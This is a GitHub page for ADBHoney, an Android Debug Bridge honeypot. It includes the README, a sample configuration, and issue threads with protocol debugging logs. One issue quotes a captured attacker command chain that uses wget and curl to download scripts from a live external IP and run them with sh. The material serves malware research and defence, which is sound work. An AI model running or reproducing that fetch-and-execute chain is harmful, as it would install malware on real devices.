huuck / adbhoney Goto Github PK

View Code? Open in Web Editor NEW

161.0 6.0 32.0 96 KB

Low interaction honeypot designed for Android Debug Bridge over TCP/IP

License: GNU General Public License v3.0

Python 99.24% Dockerfile 0.67% Shell 0.09%

adbhoney's Introduction

ADBHoney

Low interaction honeypot designed for Android Debug Bridge over TCP/IP

What's this?

The Android Debug Bridge (ADB) is a protocol designed to keep track of both emulated and real phones/TVs/DVRs connected to a given host. It implements various commands designed to assist the developer (adb shell, adb push, and so on) in both debugging and pushing content to the device. This is usually done via an attached USB cable, with ample mechanisms of authentication and protection. Turns out though that by a simple adb command (adb tcpip <port>) sent to an already established connection (through USB for example), you can force your device to expose its ADB services over port 5555, after which you can use a simple adb connect <ip>:<port> to connect to your device via TCP. However, unlike the USB protocol, the TCP one does not have any kind of authentication and leaves the device prone to all kinds of attacks. Two of them are as follows:

adb shell <shell command> - allows a developer to run all kinds of commands on the connected device such as ls, wget and many others.

adb push <local file> <remote destination> - allows a developer to upload binaries from his own machine to the connected Android device.

Coupled together, these two API calls can allow complete control over the device (legitimate or not) as long as the port is exposed over the Internet.

The purpose of this project is to provide a low interaction honeypot designed to catch whatever malware is being pushed by attackers to unsuspecting victims which have port 5555 exposed.

What works?

Right now you can adb connect, adb push and adb shell into it. All of the data is redirected to stdout and files will be saved to disk. CPU/memory usage should be fairly low, any anormalities should be reported so they can be investigated.

Responses to shell commands can easily be added by editing the responses.py file, currently only the adb shell ls will return a unique response. All other commands will respond with command not found

What doesn't work?

More advanced commands (like native directory listing and having an interactive shell) won't work. The main reason is that I haven't found any kind of malware to take advantage of mechanisms like this. I've also had to reverse engineer the protocol flow by hand, so please also provide a .pcap when logging an issue so I can look into it (or VERY exact steps for reproduction). Any improvements will be more than welcome.

OK OK, how do I get it started?

Just start the script in python:

nohup python3 run.py &

Just like that, shouldn't have any more complex dependencies.

The config file adbhoney.cfg must be in the same directory as run.py or at /etc/adbhoney.cfg

Or give the docker container a try, easiest with docker-compose:

docker-compose up --build -d

or without docker compose

docker build -t adbhoney:latest .

docker run --name adbhoney --rm -p 5555:5555 -v $(pwd)/adbhoney.cfg:/etc/adbhoney.cfg adbhoney:latest

You will probably want to save uploads and logs to the host machine, so add these volumes to the run command above -v $(pwd)/dl:/ADBHoney/dl -v $(pwd)/logs:/ADBHoney/logs

Credits

Hat tip to sporsh for his awesome work on providing the community with some wrappers for ADB messages.

follow me on twitter @hookgab for the latest updates

adbhoney's People

Stargazers

Watchers

adbhoney's Issues

Create .gitignore file(s)

We should add at least one .gitignore file to the repository, so that when the honeypot downloads samples and creates log files they don't mess up git. Eventually, they should be in their own directory (one for samples, another for logs, etc.) and each such directory should have its own .gitignore file.

Configuration file

As the honeypot is being developed further, I'm sure that we'll come up with many new ways to configure optional things about it. Instead of specifying everything from the command line each time it is started, it would be more convenient to have some kind of config file (e.g., adbhoney.cfg) containing the different options.

Again using Cowrie as an example (I simply love that honeypot!), here is a sample config file. I'm not saying that everything described in it should be implemented at once but it will be directions we intend to work towards. Most of the things in this config file are described in comments; feel free to ask if something isn't clear enough.

[honeypot]

# Sensor name is used to identify this honeypot instance. Used by the database
# logging modules such as JSON.
#
# If not specified, the logging modules will instead use the IP address of the
# server as the sensor name.
#
# (default: not specified)
#sensor_name = myhostname

# Directory where to save log files in.
# Log files are named adbhoney.log.YYYY-MM-DD in that directory
#
# (default: log)
log_path = log

# Directory where to save downloaded artifacts in.
#
# (default: downloads)
download_path = downloads

# Maximum file size (in bytes) for downloaded files to be stored in 'download_path'.
# A value of 0 means no limit. If the file size is known to be too big from the start,
# the file will not be stored on disk at all.
#
# (default: 0)
#download_limit_size = 10485760

# Whether to download the files referenced by their URLs in wget/curl/tftp arguments
download_files = true

# Fake architectures/OS
# How the honeypot masquerades to the attacker
#id_string = "device::ro.product.name=hlteuc;ro.product.model=SAMSUNG-SM-N900A;ro.product.device=hlteatt;."

# ============================================================================
# Network Specific Options
# ============================================================================

# IP address to bind to when opening outgoing connections. Used by wget and
# curl commands.
#
# (default: not specified)
#out_addr = 0.0.0.0

# Enable to log the public IP of the honeypot (useful if listening on 127.0.0.1)
# IP address is obtained by querying http://myip.threatstream.com
#report_public_ip = false

# Endpoint to listen on for incoming ADB connections.
# (default: listen_endpoints = tcp:5555:interface=0.0.0.0)
# (use systemd: endpoint for systemd activation)
# listen_endpoints = systemd:domain=INET:index=0
# For both IPv4 and IPv6: listen_endpoints = tcp6:5555:interface=\:\:
# Listening on multiple endpoints is supported with a single space seperator
# e.g listen_endpoints = "tcp:5555:interface=0.0.0.0 tcp:1234:interface=0.0.0.0" will result listening both on ports 5555 and 1234
# use authbind for port numbers under 1024

listen_endpoints = tcp:5555:interface=0.0.0.0

# ============================================================================
# Output Plugins
# These provide an extensible mechanism to send audit log entries to third
# parties. The audit entries contain information on clients connecting to
# the honeypot.
#
# Output entries need to start with 'output_' and have the 'enabled' entry.
# ============================================================================

# JSON based logging module
#
[output_jsonlog]
enabled = true
logfile = logs/adbhoney.json
epoch_timestamp = false

# Supports logging to Elasticsearch
#
#[output_elasticsearch]
#enabled = false
#host = localhost
#port = 9200
#index = adbhoney
#type = adbhoney
#pipeline = geoip

# Text output
# This writes audit log entries to a text file
#
# Format can be:
# text, cef
#
#[output_textlog]
#enabled = false
#logfile = logs/audit.log
#format = text

# MySQL logging module
# Database structure for this module is supplied in docs/sql/mysql.sql
#
# MySQL logging requires extra software: sudo apt-get install libmysqlclient-dev
# MySQL logging requires an extra Python module: pip install mysql-python
#
#[output_mysql]
#enabled = false
#host = localhost
#database = adbhoney
#username = adbhoney
#password = secret
#port = 3306
#debug = false
#Whether to store geolocation data in the database
#geoip = true
#Location of the databases used for geolocation
#geoip_citydb = data/GeoLite2-City.mmdb
#geoip_asndb = data/GeoLite2-ASN.mmdb

# SQLite3 logging module
#
# Logging to SQLite3 database. To init the database, use the script
# docs/sql/sqlite3.sql:
#     sqlite3 <db_file> < docs/sql/sqlite3.sql
#
#[output_sqlite]
#enabled = false
#db_file = adbhoney.db

# HPFeeds
#
#[output_hpfeeds]
#enabled = false
#server = hpfeeds.mysite.org
#port = 10000
#identifier = abc123
#secret = secret
#debug=false

# VirusTotal output module
# You must signup for an api key.
#
#[output_virustotal]
#enabled = false
#api_key = 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
#upload = True
#debug = False

# upload to MalShare
#[output_malshare]
#enabled = false

Add Python 3.x support

Currently the honeypot seems written for Python 2.x. I think it contains a few pieces of code that wouldn't work without modification in Python 3.x. It would be nice if the code is rewritten so that it works in both Python dialects.

This isn't urgent in any way; I'm just creating an issue to document the idea.

Save only unique payloads

When a payload is saved it should be hashed if it's already exists it's safe to delete the new file.

So the problem at this moment is the fact, that adbhoney overwrites the file everytime that updates creation time of the file.

Extract links from the commands

I've noticed that sometimes attacker is only executing some commands instead of dropping binary directly.

The commands usually includes wget/curl call, so it would be nice to parse the command line & try to download the payload.

Separate the "<<<<" and ">>>>" lines into a separate log file

Currently these lines, while useful for debugging what is actually happening, clutter the log file and it is hard to see what the attacker is really doing. I propose that these are written to a separate .log file (the creation of which should be optional and controlled by the config file), while the main report is in JSON format. See also issues #2 and #7.

Proper formatting

If it wouldn't be too much of a trouble, could you please spend some time to format the program properly?

Python is very peculiar about line indentation, since it determines the beginning and ending of blocks. Please indent each block by exactly 4 spaces. As it currently is, different lines have different indentation, the indentation itself is a mixture of tabs and spaces and it is very difficult to understand where the block begins and where it ends.

For instance, where does the while True: loop in function process_connection() actually end? The indentation suggests that it ends after the second try:...except block - but that can't be the case, because there are continue operators afterwards with no corresponding loop.

There are other oddities in the code, like, it seems to me that the variable filename is sometimes used without being initialized - but maybe I don't understand something because the weird line indentations have confused me about the structure of the program...

100% CPU usage after `nmap` scan

I have been noticing adbhoney to keep running at 100% CPU usage after some connection attempts being made. In order to reproduce this I could do so with nmap -sV -v -p 5555 127.0.0.1.

Logs:

{"eventid": "adbhoney.session.connect", "src_ip": "172.18.0.1", "src_port": 40910, "dest_ip": "172.18.0.2", "dest_port": "5555", "timestamp": "2022-03-02T10:37:04.451089Z", "unixtime": 1646217424, "session": "f5ba8783e698", "sensor": "honeypot01"}
{"eventid": "adbhoney.session.connect", "src_ip": "172.18.0.1", "src_port": 40922, "dest_ip": "172.18.0.2", "dest_port": "5555", "timestamp": "2022-03-02T10:37:09.306698Z", "unixtime": 1646217429, "session": "c72b006616f4", "sensor": "honeypot01"}
{"eventid": "adbhoney.session.connect", "src_ip": "172.18.0.1", "src_port": 40928, "dest_ip": "172.18.0.2", "dest_port": "5555", "timestamp": "2022-03-02T10:37:14.938758Z", "unixtime": 1646217434, "session": "d9f64c158ada", "sensor": "honeypot01"}
{"eventid": "adbhoney.session.connect", "src_ip": "172.18.0.1", "src_port": 40944, "dest_ip": "172.18.0.2", "dest_port": "5555", "timestamp": "2022-03-02T10:37:19.392497Z", "unixtime": 1646217439, "session": "68e568cbc33a", "sensor": "honeypot01"}
{"eventid": "adbhoney.session.connect", "src_ip": "172.18.0.1", "src_port": 40950, "dest_ip": "172.18.0.2", "dest_port": "5555", "timestamp": "2022-03-02T10:37:24.219404Z", "unixtime": 1646217444, "session": "b1bd4f93f5fe", "sensor": "honeypot01"}
{"eventid": "adbhoney.session.connect", "src_ip": "172.18.0.1", "src_port": 40954, "dest_ip": "172.18.0.2", "dest_port": "5555", "timestamp": "2022-03-02T10:37:29.198837Z", "unixtime": 1646217449, "session": "c4349a44f61a", "sensor": "honeypot01"}
{"eventid": "adbhoney.session.connect", "src_ip": "172.18.0.1", "src_port": 40982, "dest_ip": "172.18.0.2", "dest_port": "5555", "timestamp": "2022-03-02T10:37:57.773941Z", "unixtime": 1646217477, "session": "00c648528b3e", "sensor": "honeypot01"}

Adbhoney behavior changes afterwards. While connections still can be made there is no functionality, logging for some reason, continues to work.

This is based on git commit 2417a7a.

Finally caught the exception:

adbhoney    | INFO:ADBHoneypot:Received a connection, creating an ADBConnection.
adbhoney    | INFO:ADBHoneypot:172.29.0.1 connection start (8d1fc08af223)
adbhoney    | INFO:ADBHoneypot:{'eventid': 'adbhoney.session.connect', 'src_ip': '172.29.0.1', 'src_port': 40272, 'dest_ip': '172.29.0.2', 'dest_port': '5555', 'timestamp': '2022-03-09T16:29:33.021401Z', 'unixtime': 1646843373, 'session': '8d1fc08af223', 'sensor': 'honeypot01'}
adbhoney    |     self.run()
adbhoney    |   File "/usr/lib/python3.9/threading.py", line 910, in run
adbhoney    |     self._target(*self._args, **self._kwargs)
adbhoney    |   File "/opt/adbhoney/adbhoney/core.py", line 95, in __init__
adbhoney    |     self.run()
adbhoney    |   File "/opt/adbhoney/adbhoney/core.py", line 107, in run
adbhoney    |     self.process_connection()
adbhoney    |   File "/opt/adbhoney/adbhoney/core.py", line 320, in process_connection
adbhoney    | INFO:ADBHoneypot:Received a connection, creating an ADBConnection.
adbhoney    |     message = self.parse_data(data)
adbhoney    |   File "/opt/adbhoney/adbhoney/core.py", line 165, in parse_data
adbhoney    | INFO:ADBHoneypot:172.29.0.1 connection start (1a84b40ec4f5)
adbhoney    | INFO:ADBHoneypot:{'eventid': 'adbhoney.session.connect', 'src_ip': '172.29.0.1', 'src_port': 40276, 'dest_ip': '172.29.0.2', 'dest_port': '5555', 'timestamp': '2022-03-09T16:29:38.618027Z', 'unixtime': 1646843378, 'session': '1a84b40ec4f5', 'sensor': 'honeypot01'}
adbhoney    |     message = protocol.AdbMessage.decode(data)[0]
adbhoney    |   File "/opt/adbhoney/adbhoney/protocol.py", line 59, in decode
adbhoney    |     header, data = AdbMessageHeader.decode(data)
adbhoney    |   File "/opt/adbhoney/adbhoney/protocol.py", line 124, in decode
adbhoney    |     args = struct.unpack(cls._fmt, data[:length])
adbhoney    | struct.error: unpack requires a buffer of 24 bytes

Make the honeypot installable via PIP

Eventually, it would be nice if the honeypot is made available on the PyPi repository, so that it can be installed directly with pip.

Again, this isn't urgent in anyway; I'm just documenting the idea.

Binary garbage after "file:SEND"

I've noticed in my logs that reports that contain "file:SEND" contain some kind of binary garbage (4 bytes, I think) immediately after the "SEND". It's not the length of the file. I'm not sure what it is, and it might even be fixed already (e.g., if it is the contents of the uninitialized filename variable) but it probably needs some looking into.

Make it easy to create output plug-ins

We have already discussed elsewhere the need to log in JSON files. But this should be generalized further. For instance, we (our Lab) need the honeypot to log data to a MySQL database. Many others use ElasticSearch for collecting data from their honeypots.

It should be easy to create separate plug-ins for adding logging into the proper kind of database, where most of the relevant information is concentrated in the plug-in and doesn't mess up the whole program of the honeypot. The main program of the honeypot should just read the config file for enabled plug-ins and then call the Python module of the corresponding plug-in from a directory where they all reside.

I know of somebody who has already modified this honeypot to collect data to an ElasticSeach database, but I don't know how exactly their code works and I'd like to have a general concept of plug-ins before adding their code here.

Question: Is it OK to modify the current default behavior of the honeypot?

While my colleague will be working on making the honeypot configurable with a config file (issue #7), I am thinking of implementing some command-line options that would make it do what I need. My problem, however, is that if I do this, by default the honeypot will behave differently from the way it does now. Here is what I mean.

I can solve issue #10 by implementing a command-line option that specifies a log file for the debug lines (the lines starting with ">>>>" or "<<<<"). But I want this output not to be generated by default (as it currently is), in order not to clutter the log. Like, I'd rather implement a --debug option that turns this output on. Is this OK?
I would like to change the look of the "normal" (non-debug) lines, so that they output human-readable timestamps, just the IP (instead of the whole addr tuple), and maybe more readable information messages. Again, this would mean that the output would look differently than it already does - possibly messing up the job of people who are processing the currently generated logs. Is this OK?
I am thinking of starting to implement JSON logging (not as an output plug-in for now) - issue #2 - again with a command-line option specifying the JSON log file. Should I start working in this direction - or is anyone already working on a better solution?

using adb push never sends DONE message

On my local machine (Ubuntu 16.04):

$ adb connect IP
connected to IP:5555
$ adb push some.apk /sdcard/

On the honeypot

>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')
>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')
<<<<('WRTE', 4, 2, 4096, 524393, 3131813288)('\xc5\xa4Hg\xe8\xfe\x16 ...... \xaf\xbdp\xf2\x97\x0e \x11\xea')
>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')
>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')
<<<<('WRTE', 4, 2, 4096, 513002, 3131813288)('_\xb8p\xe5\xd8\xc3\x0c ...... r\xf8\x08\x94\x17\x19}\xd5\x1b')
>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')
>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')
<<<<('WRTE', 4, 2, 4096, 532456, 3131813288)('7\xea\xbfz\x0c\xa1\x9a ...... a\xf6"%Pr>H&r\xa4-\xa2\x02\x1c')
>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')
>>>>('OKAY', 2, 4, 0, 0, 2797515952)('')

I'm seeing the activity, but since it never gets the DONE signal it never goes in the dump_file_data function.

I've tried outputing the message.data in the console at each step but I'm not seeing anything relativly close to a "DONE" word, it's all gibberish.

Any idea?

Json logging

It would be awesome to have json logging of interesting events (connects, commands, payloads).

Question: has any of you seen something like this?

This is not an issue with this particular implementation of the honeypot but a question to those of you who are running it.

We have completely rewritten the honeypot (using Twisted, etc.) and lately we're getting stuff like this in the logs:

2018-12-14T16:07:25.143930Z     14.246.250.121  connection start (7071f150aa27)
2018-12-14T16:07:25.590826Z     14.246.250.121  shell:cd /data/local/tmp;wget http://80.211.241.28/br -O- >br;sh br;busybox wget http://80.211.241.28/r -O- >r;sh r;curl http://80.211.241.28/c >c;sh c;busybox curl http://80.211.241.28/bc >bc;sh bc^@OPEN^E^@^@^@^@^@^@^@Ç^@^@^@¾:^@^@°¯º±shell:cd /data/local/tmp;wget http://80.211.241.28/br -O- >br;sh br;busybox wget http://80.211.241.28/r -O- >r;sh r;curl http://80.211.241.28/c >c;sh c;busybox curl http://80.211.241.28/bc >bc;sh bc
2018-12-14T16:07:27.255327Z     14.246.250.121  shell:cd /data/local/tmp;wget http://80.211.241.28/br -O- >br;sh br;busybox wget http://80.211.241.28/r -O- >r;sh r;curl http://80.211.241.28/c >c;sh c;busybox curl http://80.211.241.28/bc >bc;sh bc
2018-12-14T16:07:48.315397Z     14.246.250.121  connection closed (7071f150aa27)

Notice the OPEN followed by some binary garbage after the first shell command, followed by yet another copy of the shell command - all of it on a single line. That line is followed by another, proper shell command, a few seconds later.

My question is - have you seen anything like this in your logs? (Only in the text log; for some reason, this doesn't appear in the JSON log; probably because the binary garbage confuses json.dumps().) Is it some buggy malware out there - or does it indicate a possible bug in our implementation of the protocol?

The thing is still live at this IP, BTW - you can download it and reverse-engineer it, if you feel like it. It's relatively small (about 20 Kb executable) but I don't have much experience reversing Linux programs.

add hpfeeds supports

Hello,
Could you add hpfeeds support protocol?

Non-Linux support?

Currently the honeypot runs only on Linux. This is because the socket attributes TCP_KEEPIDLE, TCP_KEEPINTVL, and TCP_KEEPCNT are defined only there. They are not defined on Windows and, AFAIK, aren't defined in OS X, either. I am not familiar with socket programming, but how important are they?

If they are necessary, we should document that the honeypot runs only on Linux and maybe add some code that checks the OS and exits with an appropriate error message if it is not Linux. Otherwise we should modify the code so that they are used only if they are available; something like this:

    if hasattr(socket, 'TCP_KEEPIDLE'):
        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1)
    elif hasattr(socket, 'TCP_KEEPALIVE'):
        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPALIVE, 1)
    if hasattr(socket, 'TCP_KEEPINTVL'):
        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 1)
    if hasattr(socket, 'TCP_KEEPCNT'):
        s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 100)

ADBHoney hangs

I'm testing on windows pc.

ADBHoney parameters: main.py --addr=0.0.0.0 --port 5555 --dlfolder=dl
ADB command line: adb.exe push adb.exe /tmp/adb.exe

ADB output:

C:\androidtools>adb push adb.exe /tmp/adb.exe
adb.exe: 1 file pushed. 3.2 MB/s (393168 bytes in 0.119s)

Notice that the size is way too small (actual size of adb.exe is 1825Kb)

ADBHoney output:

1543221808	('127.0.0.1', 55826)    	 + connection start
<<<<('CNXN', 16777217, 1048576, 35, 3388, 2980557244L)('host::features=stat_v2,shell_v2,cmd')
>>>>('CNXN', 16777216, 4096, 123, 11665, 2980557244L)('device::http://ro.product.name =starltexx;ro.product.model=SM-G960F;ro.product.device=starlte;features=cmd,stat_v2,shell_v2')
<<<<('OPEN', 3, 0, 6, 503, 2981801904L)('sync:\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 20, 1422, 3131813288L)('STAT\x0c\x00\x00\x00/tmp/adb.exe')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('WRTE', 2, 3, 8, 317, 3131813288L)('STAT\x01\x00\x00\x00')
>>>>('WRTE', 2, 3, 8, 317, 3131813288L)('STAT\x01\x00\x00\x00')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 26, 1718, 3131813288L)('SEND\x12\x00\x00\x00/tmp/adb.exe,33279')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 342375, 3131813288L)('DATA\xf8\xff\x00\x00M ...... \x00\x8b\x04$\x8dH\xf4\x81\xf9')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 478257, 3131813288L)('\xf0\xdfV\x00\x0f\x85 ...... xeb\x8bm\x00\x8bC\x04\x8dH\xf4')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 456945, 3131813288L)('\x81\xf9\xf0\xdfV\x00 ...... x83\xc4\x14^_[\xc2\x04\x00\xba')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 430018, 3131813288L)('\xff\xff\xff\xff\xf0\ ...... c4\x08\x85\xc0\x0f\x84\xbc\x01')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 370496, 3131813288L)('\x00\x00h\n\xfcV\x00S ...... d\xf8\x02\x00\x83\xc4\x0c9\xf0')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 412697, 3131813288L)('\x0f\x85\'\x0b\x00\x0 ...... x02\x00\x00\x8dt$\x0c\x8d\x84$')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 420378, 3131813288L)('\xb8\x00\x00\x00\x89\ ...... \x89L$\x10\x89T$\x0c\xe8wu\x0c')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 440825, 3131813288L)('\x00\x83\xc4\x14\x83| ...... c\x0f\x85\x95\xfe\xff\xff1\xff')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 510279, 3131813288L)('\xf6D$\x08\x01u\x1a\x ...... 15\x00\x83\xc4\x04\xba\x01\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 429944, 3131813288L)('\x00\x00\x89\xd9\xe8\ ...... 1f@\x00U\x89\xe5WV\x83\xe4\xf0')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 405593, 3131813288L)("\x83\xec \x839\x00\x8 ...... xb0\x00\x00\x00\x00SP\xff\xb4$")
1543221811	('127.0.0.1', 55826)    	file:/tmp/adb.exe - dumping 45040 bytes of data to dl\data-2a00db2046632190c575773ec390ec3fe3a2a71a8f21e870cc119eecdc8b7994.raw...
>>>>('WRTE', 2, 3, 4, 308, 3131813288L)('OKAY')
>>>>('WRTE', 2, 3, 4, 308, 3131813288L)('OKAY')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 412148, 3131813288L)('\xec\x00\x00\x00\xfft ...... 1\x00\x00\x0f\xb7\x84$\xee\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
<<<<('WRTE', 3, 2, 4096, 397997, 3131813288L)('\x00\x00\x89\xc1f\xc1 ...... ff0h-,W\x00\xfft$\x14\xe8F\x0f')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
<<<<('WRTE', 3, 2, 4096, 427217, 3131813288L)("\x00\x00\x83\xc4\x10\ ...... x90f\x90f\x90USWV\x89\xce\xfft")
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
<<<<('WRTE', 3, 2, 4096, 412579, 3131813288L)('$\x18\xe8\xd9}\x0f\x0 ...... f\x0f.\xc1u\x17z\x15\x8dD$\x04')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
<<<<('WRTE', 3, 2, 4096, 419549, 3131813288L)('\x8dL$\x08PhC-W\x00\x ...... \xff0\xe8:\xaf\x02\x00\x83\xc4')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
>>>>('WRTE', 2, 3, 8, 323, 3131813288L)('STAT\x07\x00\x00\x00')
<<<<('WRTE', 3, 2, 4096, 435037, 3131813288L)('DATA\xf8\xff\x00\x00\ ...... xd9\xe8T\xc7\x0b\x00\x89\xc5j(')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 435531, 3131813288L)('h\xe47W\x00P\xe8%\xb9 ...... j\x02h\xc89W\x00P\xe8/\xa9\x14')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 410100, 3131813288L)('\x00\x83\xc4\x0c\x89\ ...... c2\x04\x00\xba\xff\xff\xff\xff')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 419695, 3131813288L)("\xf0\x0f\xc1P\xfc\x85 ...... 4\x00\x00\x00\xe8`\x0c\x01\x00")
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 444327, 3131813288L)('\x83\xc4\x1c\x85\xc0\ ...... c4\x04\x89\xc7\xc7\x00\x00\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 418331, 3131813288L)('\x00\x00\x8dH\x04U\xe ...... \x0c\x8bD$\x04\xffp\xf4PW\xe8-')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 418618, 3131813288L)('i\x14\x00\x83\xc4\x0c ...... \x00\x89\xc6S\xe8P\x97\xff\xff')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 428099, 3131813288L)('\x83\xc4\x04\x8bD$\x0 ...... 00P\xe84I\x14\x00\x83\xc4\x0cj')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 400768, 3131813288L)('\x02h\xceGW\x00W\xe8$ ...... x00\xe8dG\x0b\x00\x89\xf1\xe8M')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 400819, 3131813288L)('G\x0b\x00\x8dL$\x10\x ...... 8b}\x08\x89,$\xc7E\x08\x00\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 396933, 3131813288L)('\x00\x00\x85\xfftS\x8 ...... f\xf0\x0f\xc1P\xfc\x85\xd2\x7f')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
